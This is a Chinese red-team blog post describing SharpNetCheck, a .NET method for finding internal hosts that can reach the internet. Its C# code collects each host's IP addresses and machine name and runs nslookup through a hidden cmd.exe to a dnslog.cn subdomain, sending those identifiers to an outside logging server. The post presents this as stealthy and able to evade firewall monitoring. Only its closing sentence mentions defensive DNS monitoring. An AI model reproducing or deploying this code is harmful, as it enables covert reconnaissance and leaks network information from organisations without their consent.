快速查找内网主机外连的工具:SharpNetCheck

在红队活动中,信息收集是内网渗透测试的首要步骤,了解内网中哪些主机可以连通外部网络,是攻击者成功渗透的关键之一。本文将介绍如何通过.NET代码执行 nslookup 命令来进行内网信息收集,并快速找到可以出网的主机。

0x01 快速查找出网机器

在内网环境下,通常需要确定哪些主机能够访问外网,以便进一步进行数据传输或C2通信。我们可以利用 nslookup 命令,将主机名和IP地址查询通过DNS解析发送到外部服务器,借此来确定主机的出网能力。
通过在.NET程序中调用 nslookup 命令,并使用DNS服务(如dnslog.cn),可以将内网主机的相关信息发送到外部DNS服务器。这种方法不仅简单有效,还能够绕过一些防火墙的流量监控。

1.1 nslookup命令

nslookup 用于Windows系统查询域名系统(DNS)记录的命令行工具。通过 nslookup,用户可以轻松获取域名对应的IP地址,或者反向查找某个IP地址对应的域名。这个工具在网络故障排查、域名配置验证、以及网络信息收集中都发挥着重要作用。比如,用户输入域名后,nslookup 会返回该域名对应的IP地址,用法如下所示。

nslookup google.com

Server:  dns.google
Address:  8.8.8.8
Non-authoritative answer:
Name:    example.com
Address: 93.184.216.34

还可以用于反向查询,用户输入IP地址后,nslookup 会返回与该IP地址相关的域名。输出的结果如下所示。

nslookup 93.184.216.34

Server:  dns.google
Address:  8.8.8.8
Non-authoritative answer:
34.216.184.93.in-addr.arpa    name = google.com

此外,nslookup可以区分非权威应答和权威应答。非权威应答是从缓存DNS服务器获取的数据,而权威应答则来自管理该域名的DNS服务器,如下图所示。

0x02 编码实现

在内网环境下,通过扫描网段获得内网主机所有的IP地址,Environment.MachineName 获取计算机名,Dns.GetHostAddresses 获取主机的所有IP地址。

string machineName = Environment.MachineName;
string hostName = Dns.GetHostName();
IPAddress[] hostAddresses = Dns.GetHostAddresses(hostName);

随后,将主机的所有IPv4地址和计算机名组合成一个唯一的标识符,这个标识符将用于DNS查询。

foreach (IPAddress ipaddress in hostAddresses)
{
    if (ipaddress.AddressFamily == AddressFamily.InterNetwork)
    {
        str += ipaddress.ToString() + "-";
    }
}
string uniqueId = str + machineName;

接着,通过 Process类的Start方法执行 nslookup 命令,将生成的唯一标识符发送到指定的DNS服务器。这里使用了dnslog.cn域名,这是一种常见的DNS隧道工具,用于捕获并记录DNS查询,具体代码如下所示。

string dnsDomain = "ufu2ma.dnslog.cn"; 
string nslookupCmd = $"nslookup {uniqueId}.{dnsDomain}";
string result = RunCmd(nslookupCmd);

上述中,使用了自定义的RunCmd方法,其实内部是调用Process类完成执行命令。代码参考如下所示。

public string RunCmd(string cmd)
{
                this.proc.StartInfo.CreateNoWindow = true;
                this.proc.StartInfo.FileName = "cmd.exe";
                this.proc.StartInfo.UseShellExecute = false;
                this.proc.StartInfo.RedirectStandardError = true;
                this.proc.StartInfo.RedirectStandardInput = true;
                this.proc.StartInfo.RedirectStandardOutput = true;
                this.proc.Start();
                this.proc.StandardInput.WriteLine(cmd + "&exit");
                string result = this.proc.StandardOutput.ReadToEnd();
                this.proc.Close();
                return result;
}

程序底层最终通过拼接的方式完成类似这样的命令:nslookup 192.168.101.77-PC-20230831QDRR.x8zo53.dnslog.cn,如下图所示。

最后,通过查询DNS日志记录便可以得知,哪些IP和主机名的机器可以出网。

0x04 小结

综上,利用.NET结合 nslookup 命令进行内网信息收集,是一种有效且隐蔽的方式,适用于红队活动中的快速发现可出网主机。然而,这也提醒我们,在日常的网络安全防护中,需要高度重视对DNS流量的监控和分析,以防止内网信息的泄漏。

0 条评论
某人
表情
可输入 255